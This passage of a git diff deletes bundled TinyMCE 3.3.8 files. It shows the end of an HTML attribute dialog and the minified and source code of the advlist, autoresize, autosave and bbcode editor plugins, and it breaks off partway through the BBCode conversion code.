- <td><input id="onkeypress" name="onkeypress" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onkeydown">onkeydown</label></td> - <td><input id="onkeydown" name="onkeydown" type="text" value="" /></td> - </tr> - - <tr> - <td class="column1"><label for="onkeyup">onkeyup</label></td> - <td><input id="onkeyup" name="onkeyup" type="text" value="" /></td> - </tr> - </table> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin.js deleted file mode 100644 index 02d1697..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.each;tinymce.create("tinymce.plugins.AdvListPlugin",{init:function(b,c){var d=this;d.editor=b;function e(g){var f=[];a(g.split(/,/),function(h){f.push({title:"advlist."+(h=="default"?"def":h.replace(/-/g,"_")),styles:{listStyleType:h=="default"?"":h}})});return f}d.numlist=b.getParam("advlist_number_styles")||e("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman");d.bullist=b.getParam("advlist_bullet_styles")||e("default,circle,disc,square")},createControl:function(d,b){var f=this,e,h;if(d=="numlist"||d=="bullist"){if(f[d][0].title=="advlist.def"){h=f[d][0]}function c(i,k){var j=true;a(k.styles,function(m,l){if(f.editor.dom.getStyle(i,l)!=m){j=false;return false}});return j}function g(){var k,i=f.editor,l=i.dom,j=i.selection;k=l.getParent(j.getNode(),"ol,ul");if(!k||k.nodeName==(d=="bullist"?"OL":"UL")||c(k,h)){i.execCommand(d=="bullist"?"InsertUnorderedList":"InsertOrderedList")}if(h){k=l.getParent(j.getNode(),"ol,ul");if(k){l.setStyles(k,h.styles);k.removeAttribute("_mce_style")}}}e=b.createSplitButton(d,{title:"advanced."+d+"_desc","class":"mce_"+d,onclick:function(){g()}});e.onRenderMenu.add(function(i,j){j.onShowMenu.add(function(){var m=f.editor.dom,l=m.getParent(f.editor.selection.getNode(),"ol,ul"),k;if(l||h){k=f[d];a(j.items,function(n){var o=true;n.setSelected(0);if(l&&!n.isDisabled()){a(k,function(p){if(p.id==n.id){if(!c(l,p)){o=false;return false}}});if(o){n.setSelected(1)}}});if(!l){j.items[h.id].setSelected(1)}}});j.add({id:f.editor.dom.uniqueId(),title:"advlist.types","class":"mceMenuItemTitle"}).setDisabled(1);a(f[d],function(k){k.id=f.editor.dom.uniqueId();j.add({id:k.id,title:k.title,onclick:function(){h=k;g()}})})});return e}},getInfo:function(){return{longname:"Advanced lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlist",tinymce.plugins.AdvListPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js deleted file mode 100644 index a61887a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advlist/editor_plugin_src.js +++ /dev/null @@ -1,154 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var each = tinymce.each; - - tinymce.create('tinymce.plugins.AdvListPlugin', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - function buildFormats(str) { - var formats = []; - - each(str.split(/,/), function(type) { - formats.push({ - title : 'advlist.' + (type == 'default' ? 'def' : type.replace(/-/g, '_')), - styles : { - listStyleType : type == 'default' ? '' : type - } - }); - }); - - return formats; - }; - - // Setup number formats from config or default - t.numlist = ed.getParam("advlist_number_styles") || buildFormats("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"); - t.bullist = ed.getParam("advlist_bullet_styles") || buildFormats("default,circle,disc,square"); - }, - - createControl: function(name, cm) { - var t = this, btn, format; - - if (name == 'numlist' || name == 'bullist') { - // Default to first item if it's a default item - if (t[name][0].title == 'advlist.def') - format = t[name][0]; - - function hasFormat(node, format) { - var state = true; - - each(format.styles, function(value, name) { - // Format doesn't match - if (t.editor.dom.getStyle(node, name) != value) { - state = false; - return false; - } - }); - - return state; - }; - - function applyListFormat() { - var list, ed = t.editor, dom = ed.dom, sel = ed.selection; - - // Check for existing list element - list = dom.getParent(sel.getNode(), 'ol,ul'); - - // Switch/add list type if needed - if (!list || list.nodeName == (name == 'bullist' ? 'OL' : 'UL') || hasFormat(list, format)) - ed.execCommand(name == 'bullist' ? 'InsertUnorderedList' : 'InsertOrderedList'); - - // Append styles to new list element - if (format) { - list = dom.getParent(sel.getNode(), 'ol,ul'); - - if (list) { - dom.setStyles(list, format.styles); - list.removeAttribute('_mce_style'); - } - } - }; - - btn = cm.createSplitButton(name, { - title : 'advanced.' + name + '_desc', - 'class' : 'mce_' + name, - onclick : function() { - applyListFormat(); - } - }); - - btn.onRenderMenu.add(function(btn, menu) { - menu.onShowMenu.add(function() { - var dom = t.editor.dom, list = dom.getParent(t.editor.selection.getNode(), 'ol,ul'), fmtList; - - if (list || format) { - fmtList = t[name]; - - // Unselect existing items - each(menu.items, function(item) { - var state = true; - - item.setSelected(0); - - if (list && !item.isDisabled()) { - each(fmtList, function(fmt) { - if (fmt.id == item.id) { - if (!hasFormat(list, fmt)) { - state = false; - return false; - } - } - }); - - if (state) - item.setSelected(1); - } - }); - - // Select the current format - if (!list) - menu.items[format.id].setSelected(1); - } - }); - - menu.add({id : t.editor.dom.uniqueId(), title : 'advlist.types', 'class' : 'mceMenuItemTitle'}).setDisabled(1); - - each(t[name], function(item) { - item.id = t.editor.dom.uniqueId(); - - menu.add({id : item.id, title : item.title, onclick : function() { - format = item; - applyListFormat(); - }}); - }); - }); - - return btn; - } - }, - - getInfo : function() { - return { - longname : 'Advanced lists', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('advlist', tinymce.plugins.AdvListPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin.js deleted file mode 100644 index 1676b15..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.AutoResizePlugin",{init:function(a,c){var d=this;if(a.getParam("fullscreen_is_enabled")){return}function b(){var h=a.getDoc(),e=h.body,j=h.documentElement,g=tinymce.DOM,i=d.autoresize_min_height,f;f=tinymce.isIE?e.scrollHeight:j.offsetHeight;if(f>d.autoresize_min_height){i=f}g.setStyle(g.get(a.id+"_ifr"),"height",i+"px");if(d.throbbing){a.setProgressState(false);a.setProgressState(true)}}d.editor=a;d.autoresize_min_height=a.getElement().offsetHeight;a.onChange.add(b);a.onSetContent.add(b);a.onPaste.add(b);a.onKeyUp.add(b);a.onPostRender.add(b);if(a.getParam("autoresize_on_init",true)){a.onInit.add(function(f,e){f.setProgressState(true);d.throbbing=true;f.getBody().style.overflowY="hidden"});a.onLoadContent.add(function(f,e){b();setTimeout(function(){b();f.setProgressState(false);d.throbbing=false},1250)})}a.addCommand("mceAutoResize",b)},getInfo:function(){return{longname:"Auto Resize",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autoresize",tinymce.plugins.AutoResizePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js deleted file mode 100644 index c260b7a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autoresize/editor_plugin_src.js +++ /dev/null @@ -1,119 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - /** - * Auto Resize - * - * This plugin automatically resizes the content area to fit its content height. - * It will retain a minimum height, which is the height of the content area when - * it's initialized. - */ - tinymce.create('tinymce.plugins.AutoResizePlugin', { - /** - * Initializes the plugin, this will be executed after the plugin has been created. - * This call is done before the editor instance has finished it's initialization so use the onInit event - * of the editor instance to intercept that event. - * - * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. - * @param {string} url Absolute URL to where the plugin is located. - */ - init : function(ed, url) { - var t = this; - - if (ed.getParam('fullscreen_is_enabled')) - return; - - /** - * This method gets executed each time the editor needs to resize. - */ - function resize() { - var d = ed.getDoc(), b = d.body, de = d.documentElement, DOM = tinymce.DOM, resizeHeight = t.autoresize_min_height, myHeight; - - // Get height differently depending on the browser used - myHeight = tinymce.isIE ? b.scrollHeight : de.offsetHeight; - - // Don't make it smaller than the minimum height - if (myHeight > t.autoresize_min_height) - resizeHeight = myHeight; - - // Resize content element - DOM.setStyle(DOM.get(ed.id + '_ifr'), 'height', resizeHeight + 'px'); - - // if we're throbbing, we'll re-throb to match the new size - if (t.throbbing) { - ed.setProgressState(false); - ed.setProgressState(true); - } - }; - - t.editor = ed; - - // Define minimum height - t.autoresize_min_height = ed.getElement().offsetHeight; - - // Add appropriate listeners for resizing content area - ed.onChange.add(resize); - ed.onSetContent.add(resize); - ed.onPaste.add(resize); - ed.onKeyUp.add(resize); - ed.onPostRender.add(resize); - - if (ed.getParam('autoresize_on_init', true)) { - // Things to do when the editor is ready - ed.onInit.add(function(ed, l) { - // Show throbber until content area is resized properly - ed.setProgressState(true); - t.throbbing = true; - - // Hide scrollbars - ed.getBody().style.overflowY = "hidden"; - }); - - ed.onLoadContent.add(function(ed, l) { - resize(); - - // Because the content area resizes when its content CSS loads, - // and we can't easily add a listener to its onload event, - // we'll just trigger a resize after a short loading period - setTimeout(function() { - resize(); - - // Disable throbber - ed.setProgressState(false); - t.throbbing = false; - }, 1250); - }); - } - - // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample'); - ed.addCommand('mceAutoResize', resize); - }, - - /** - * Returns information about the plugin as a name/value array. - * The current keys are longname, author, authorurl, infourl and version. - * - * @return {Object} Name/value array containing information about the plugin. - */ - getInfo : function() { - return { - longname : 'Auto Resize', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('autoresize', tinymce.plugins.AutoResizePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin.js deleted file mode 100644 index 6e48540..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(e){var c="autosave",g="restoredraft",b=true,f,d,a=e.util.Dispatcher;e.create("tinymce.plugins.AutoSave",{init:function(i,j){var h=this,l=i.settings;h.editor=i;function k(n){var m={s:1000,m:60000};n=/^(\d+)([ms]?)$/.exec(""+n);return(n[2]?m[n[2]]:1)*parseInt(n)}e.each({ask_before_unload:b,interval:"30s",retention:"20m",minlength:50},function(n,m){m=c+"_"+m;if(l[m]===f){l[m]=n}});l.autosave_interval=k(l.autosave_interval);l.autosave_retention=k(l.autosave_retention);i.addButton(g,{title:c+".restore_content",onclick:function(){if(i.getContent({draft:true}).replace(/\s|&nbsp;|<\/?p[^>]*>|<br[^>]*>/gi,"").length>0){i.windowManager.confirm(c+".warning_message",function(m){if(m){h.restoreDraft()}})}else{h.restoreDraft()}}});i.onNodeChange.add(function(){var m=i.controlManager;if(m.get(g)){m.setDisabled(g,!h.hasDraft())}});i.onInit.add(function(){if(i.controlManager.get(g)){h.setupStorage(i);setInterval(function(){h.storeDraft();i.nodeChanged()},l.autosave_interval)}});h.onStoreDraft=new a(h);h.onRestoreDraft=new a(h);h.onRemoveDraft=new a(h);if(!d){window.onbeforeunload=e.plugins.AutoSave._beforeUnloadHandler;d=b}},getInfo:function(){return{longname:"Auto save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave",version:e.majorVersion+"."+e.minorVersion}},getExpDate:function(){return new Date(new Date().getTime()+this.editor.settings.autosave_retention).toUTCString()},setupStorage:function(i){var h=this,k=c+"_test",j="OK";h.key=c+i.id;e.each([function(){if(localStorage){localStorage.setItem(k,j);if(localStorage.getItem(k)===j){localStorage.removeItem(k);return localStorage}}},function(){if(sessionStorage){sessionStorage.setItem(k,j);if(sessionStorage.getItem(k)===j){sessionStorage.removeItem(k);return sessionStorage}}},function(){if(e.isIE){i.getElement().style.behavior="url('#default#userData')";return{autoExpires:b,setItem:function(l,n){var m=i.getElement();m.setAttribute(l,n);m.expires=h.getExpDate();m.save("TinyMCE")},getItem:function(l){var m=i.getElement();m.load("TinyMCE");return m.getAttribute(l)},removeItem:function(l){i.getElement().removeAttribute(l)}}}},],function(l){try{h.storage=l();if(h.storage){return false}}catch(m){}})},storeDraft:function(){var i=this,l=i.storage,j=i.editor,h,k;if(l){if(!l.getItem(i.key)&&!j.isDirty()){return}k=j.getContent({draft:true});if(k.length>j.settings.autosave_minlength){h=i.getExpDate();if(!i.storage.autoExpires){i.storage.setItem(i.key+"_expires",h)}i.storage.setItem(i.key,k);i.onStoreDraft.dispatch(i,{expires:h,content:k})}}},restoreDraft:function(){var h=this,i=h.storage;if(i){content=i.getItem(h.key);if(content){h.editor.setContent(content);h.onRestoreDraft.dispatch(h,{content:content})}}},hasDraft:function(){var h=this,k=h.storage,i,j;if(k){j=!!k.getItem(h.key);if(j){if(!h.storage.autoExpires){i=new Date(k.getItem(h.key+"_expires"));if(new Date().getTime()<i.getTime()){return b}h.removeDraft()}else{return b}}}return false},removeDraft:function(){var h=this,k=h.storage,i=h.key,j;if(k){j=k.getItem(i);k.removeItem(i);k.removeItem(i+"_expires");if(j){h.onRemoveDraft.dispatch(h,{content:j})}}},"static":{_beforeUnloadHandler:function(h){var i;e.each(tinyMCE.editors,function(j){if(j.plugins.autosave){j.plugins.autosave.storeDraft()}if(j.getParam("fullscreen_is_enabled")){return}if(!i&&j.isDirty()&&j.getParam("autosave_ask_before_unload")){i=j.getLang("autosave.unload_msg")}});return i}}});e.PluginManager.add("autosave",e.plugins.AutoSave)})(tinymce); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js deleted file mode 100644 index 581e8f6..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/editor_plugin_src.js +++ /dev/null @@ -1,422 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - * - * Adds auto-save capability to the TinyMCE text editor to rescue content - * inadvertently lost. This plugin was originally developed by Speednet - * and that project can be found here: http://code.google.com/p/tinyautosave/ - * - * TECHNOLOGY DISCUSSION: - * - * The plugin attempts to use the most advanced features available in the current browser to save - * as much content as possible. There are a total of four different methods used to autosave the - * content. In order of preference, they are: - * - * 1. localStorage - A new feature of HTML 5, localStorage can store megabytes of data per domain - * on the client computer. Data stored in the localStorage area has no expiration date, so we must - * manage expiring the data ourselves. localStorage is fully supported by IE8, and it is supposed - * to be working in Firefox 3 and Safari 3.2, but in reality is is flaky in those browsers. As - * HTML 5 gets wider support, the AutoSave plugin will use it automatically. In Windows Vista/7, - * localStorage is stored in the following folder: - * C:\Users\[username]\AppData\Local\Microsoft\Internet Explorer\DOMStore\[tempFolder] - * - * 2. sessionStorage - A new feature of HTML 5, sessionStorage works similarly to localStorage, - * except it is designed to expire after a certain amount of time. Because the specification - * around expiration date/time is very loosely-described, it is preferrable to use locaStorage and - * manage the expiration ourselves. sessionStorage has similar storage characteristics to - * localStorage, although it seems to have better support by Firefox 3 at the moment. (That will - * certainly change as Firefox continues getting better at HTML 5 adoption.) - * - * 3. UserData - A very under-exploited feature of Microsoft Internet Explorer, UserData is a - * way to store up to 128K of data per "document", or up to 1MB of data per domain, on the client - * computer. The feature is available for IE 5+, which makes it available for every version of IE - * supported by TinyMCE. The content is persistent across browser restarts and expires on the - * date/time specified, just like a cookie. However, the data is not cleared when the user clears - * cookies on the browser, which makes it well-suited for rescuing autosaved content. UserData, - * like other Microsoft IE browser technologies, is implemented as a behavior attached to a - * specific DOM object, so in this case we attach the behavior to the same DOM element that the - * TinyMCE editor instance is attached to. - */ - -(function(tinymce) { - // Setup constants to help the compressor to reduce script size - var PLUGIN_NAME = 'autosave', - RESTORE_DRAFT = 'restoredraft', - TRUE = true, - undefined, - unloadHandlerAdded, - Dispatcher = tinymce.util.Dispatcher; - - /** - * This plugin adds auto-save capability to the TinyMCE text editor to rescue content - * inadvertently lost. By using localStorage. - * - * @class tinymce.plugins.AutoSave - */ - tinymce.create('tinymce.plugins.AutoSave', { - /** - * Initializes the plugin, this will be executed after the plugin has been created. - * This call is done before the editor instance has finished it's initialization so use the onInit event - * of the editor instance to intercept that event. - * - * @method init - * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. - * @param {string} url Absolute URL to where the plugin is located. - */ - init : function(ed, url) { - var self = this, settings = ed.settings; - - self.editor = ed; - - // Parses the specified time string into a milisecond number 10m, 10s etc. - function parseTime(time) { - var multipels = { - s : 1000, - m : 60000 - }; - - time = /^(\d+)([ms]?)$/.exec('' + time); - - return (time[2] ? multipels[time[2]] : 1) * parseInt(time); - }; - - // Default config - tinymce.each({ - ask_before_unload : TRUE, - interval : '30s', - retention : '20m', - minlength : 50 - }, function(value, key) { - key = PLUGIN_NAME + '_' + key; - - if (settings[key] === undefined) - settings[key] = value; - }); - - // Parse times - settings.autosave_interval = parseTime(settings.autosave_interval); - settings.autosave_retention = parseTime(settings.autosave_retention); - - // Register restore button - ed.addButton(RESTORE_DRAFT, { - title : PLUGIN_NAME + ".restore_content", - onclick : function() { - if (ed.getContent({draft: true}).replace(/\s|&nbsp;|<\/?p[^>]*>|<br[^>]*>/gi, "").length > 0) { - // Show confirm dialog if the editor isn't empty - ed.windowManager.confirm( - PLUGIN_NAME + ".warning_message", - function(ok) { - if (ok) - self.restoreDraft(); - } - ); - } else - self.restoreDraft(); - } - }); - - // Enable/disable restoredraft button depending on if there is a draft stored or not - ed.onNodeChange.add(function() { - var controlManager = ed.controlManager; - - if (controlManager.get(RESTORE_DRAFT)) - controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft()); - }); - - ed.onInit.add(function() { - // Check if the user added the restore button, then setup auto storage logic - if (ed.controlManager.get(RESTORE_DRAFT)) { - // Setup storage engine - self.setupStorage(ed); - - // Auto save contents each interval time - setInterval(function() { - self.storeDraft(); - ed.nodeChanged(); - }, settings.autosave_interval); - } - }); - - /** - * This event gets fired when a draft is stored to local storage. - * - * @event onStoreDraft - * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. - * @param {Object} draft Draft object containing the HTML contents of the editor. - */ - self.onStoreDraft = new Dispatcher(self); - - /** - * This event gets fired when a draft is restored from local storage. - * - * @event onStoreDraft - * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. - * @param {Object} draft Draft object containing the HTML contents of the editor. - */ - self.onRestoreDraft = new Dispatcher(self); - - /** - * This event gets fired when a draft removed/expired. - * - * @event onRemoveDraft - * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. - * @param {Object} draft Draft object containing the HTML contents of the editor. - */ - self.onRemoveDraft = new Dispatcher(self); - - // Add ask before unload dialog only add one unload handler - if (!unloadHandlerAdded) { - window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler; - unloadHandlerAdded = TRUE; - } - }, - - /** - * Returns information about the plugin as a name/value array. - * The current keys are longname, author, authorurl, infourl and version. - * - * @method getInfo - * @return {Object} Name/value array containing information about the plugin. - */ - getInfo : function() { - return { - longname : 'Auto save', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - /** - * Returns an expiration date UTC string. - * - * @method getExpDate - * @return {String} Expiration date UTC string. - */ - getExpDate : function() { - return new Date( - new Date().getTime() + this.editor.settings.autosave_retention - ).toUTCString(); - }, - - /** - * This method will setup the storage engine. If the browser has support for it. - * - * @method setupStorage - */ - setupStorage : function(ed) { - var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK"; - - self.key = PLUGIN_NAME + ed.id; - - // Loop though each storage engine type until we find one that works - tinymce.each([ - function() { - // Try HTML5 Local Storage - if (localStorage) { - localStorage.setItem(testKey, testVal); - - if (localStorage.getItem(testKey) === testVal) { - localStorage.removeItem(testKey); - - return localStorage; - } - } - }, - - function() { - // Try HTML5 Session Storage - if (sessionStorage) { - sessionStorage.setItem(testKey, testVal); - - if (sessionStorage.getItem(testKey) === testVal) { - sessionStorage.removeItem(testKey); - - return sessionStorage; - } - } - }, - - function() { - // Try IE userData - if (tinymce.isIE) { - ed.getElement().style.behavior = "url('#default#userData')"; - - // Fake localStorage on old IE - return { - autoExpires : TRUE, - - setItem : function(key, value) { - var userDataElement = ed.getElement(); - - userDataElement.setAttribute(key, value); - userDataElement.expires = self.getExpDate(); - userDataElement.save("TinyMCE"); - }, - - getItem : function(key) { - var userDataElement = ed.getElement(); - - userDataElement.load("TinyMCE"); - - return userDataElement.getAttribute(key); - }, - - removeItem : function(key) { - ed.getElement().removeAttribute(key); - } - }; - } - }, - ], function(setup) { - // Try executing each function to find a suitable storage engine - try { - self.storage = setup(); - - if (self.storage) - return false; - } catch (e) { - // Ignore - } - }); - }, - - /** - * This method will store the current contents in the the storage engine. - * - * @method storeDraft - */ - storeDraft : function() { - var self = this, storage = self.storage, editor = self.editor, expires, content; - - // Is the contents dirty - if (storage) { - // If there is no existing key and the contents hasn't been changed since - // it's original value then there is no point in saving a draft - if (!storage.getItem(self.key) && !editor.isDirty()) - return; - - // Store contents if the contents if longer than the minlength of characters - content = editor.getContent({draft: true}); - if (content.length > editor.settings.autosave_minlength) { - expires = self.getExpDate(); - - // Store expiration date if needed IE userData has auto expire built in - if (!self.storage.autoExpires) - self.storage.setItem(self.key + "_expires", expires); - - self.storage.setItem(self.key, content); - self.onStoreDraft.dispatch(self, { - expires : expires, - content : content - }); - } - } - }, - - /** - * This method will restore the contents from the storage engine back to the editor. - * - * @method restoreDraft - */ - restoreDraft : function() { - var self = this, storage = self.storage; - - if (storage) { - content = storage.getItem(self.key); - - if (content) { - self.editor.setContent(content); - self.onRestoreDraft.dispatch(self, { - content : content - }); - } - } - }, - - /** - * This method will return true/false if there is a local storage draft available. - * - * @method hasDraft - * @return {boolean} true/false state if there is a local draft. - */ - hasDraft : function() { - var self = this, storage = self.storage, expDate, exists; - - if (storage) { - // Does the item exist at all - exists = !!storage.getItem(self.key); - if (exists) { - // Storage needs autoexpire - if (!self.storage.autoExpires) { - expDate = new Date(storage.getItem(self.key + "_expires")); - - // Contents hasn't expired - if (new Date().getTime() < expDate.getTime()) - return TRUE; - - // Remove it if it has - self.removeDraft(); - } else - return TRUE; - } - } - - return false; - }, - - /** - * Removes the currently stored draft. - * - * @method removeDraft - */ - removeDraft : function() { - var self = this, storage = self.storage, key = self.key, content; - - if (storage) { - // Get current contents and remove the existing draft - content = storage.getItem(key); - storage.removeItem(key); - storage.removeItem(key + "_expires"); - - // Dispatch remove event if we had any contents - if (content) { - self.onRemoveDraft.dispatch(self, { - content : content - }); - } - } - }, - - "static" : { - // Internal unload handler will be called before the page is unloaded - _beforeUnloadHandler : function(e) { - var msg; - - tinymce.each(tinyMCE.editors, function(ed) { - // Store a draft for each editor instance - if (ed.plugins.autosave) - ed.plugins.autosave.storeDraft(); - - // Never ask in fullscreen mode - if (ed.getParam("fullscreen_is_enabled")) - return; - - // Setup a return message if the editor is dirty - if (!msg && ed.isDirty() && ed.getParam("autosave_ask_before_unload")) - msg = ed.getLang("autosave.unload_msg"); - }); - - return msg; - } - } - }); - - tinymce.PluginManager.add('autosave', tinymce.plugins.AutoSave); -})(tinymce); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/langs/en.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/langs/en.js deleted file mode 100644 index fce6bd3..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/autosave/langs/en.js +++ /dev/null @@ -1,4 +0,0 @@ -tinyMCE.addI18n('en.autosave',{ -restore_content: "Restore auto-saved content", -warning_message: "If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js deleted file mode 100644 index 930fdff..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/bbcode/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.BBCodePlugin",{init:function(a,b){var d=this,c=a.getParam("bbcode_dialect","punbb").toLowerCase();a.onBeforeSetContent.add(function(e,f){f.content=d["_"+c+"_bbcode2html"](f.content)});a.onPostProcess.add(function(e,f){if(f.set){f.content=d["_"+c+"_bbcode2html"](f.content)}if(f.get){f.content=d["_"+c+"_html2bbcode"](f.content)}})},getInfo:function(){return{longname:"BBCode Plugin",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/bbcode",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_punbb_html2bbcode:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]");b(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]");b(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]");b(/<span style=\"color: ?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]");b(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]");b(/<span style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]");b(/<font>(.*?)<\/font>/gi,"$1");b(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]");b(/<span class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]");b(/<span class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]");b(/<strong class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]");b(/<strong class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]");b(/<em class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]");b(/<em class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]");b(/<u class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]");b(/<u class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]");b(/<\/(strong|b)>/gi,"[/b]");b(/<(strong|b)>/gi,"[b]");b(/<\/(em|i)>/gi,"[/i]");b(/<(em|i)>/gi,"[i]");b(/<\/u>/gi,"[/u]");b(/<span style=\"text-decoration: ?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]");b(/<u>/gi,"[u]");b(/<blockquote[^>]*>/gi,"[quote]");b(/<\/blockquote>/gi,"[/quote]");b(/<br \/>/gi,"\n");b(/<br\/>/gi,"\n");b(/<br>/gi,"\n");b(/<p>/gi,"");b(/<\/p>/gi,"\n");b(/&nbsp;/gi," ");b(/&quot;/gi,'"');b(/&lt;/gi,"<");b(/&gt;/gi,">");b(/&amp;/gi,"&");return a},_punbb_bbcode2html:function(a){a=tinymce.trim(a);function b(c,d){a=a.replace(c,d)}b(/\n/gi,"<br 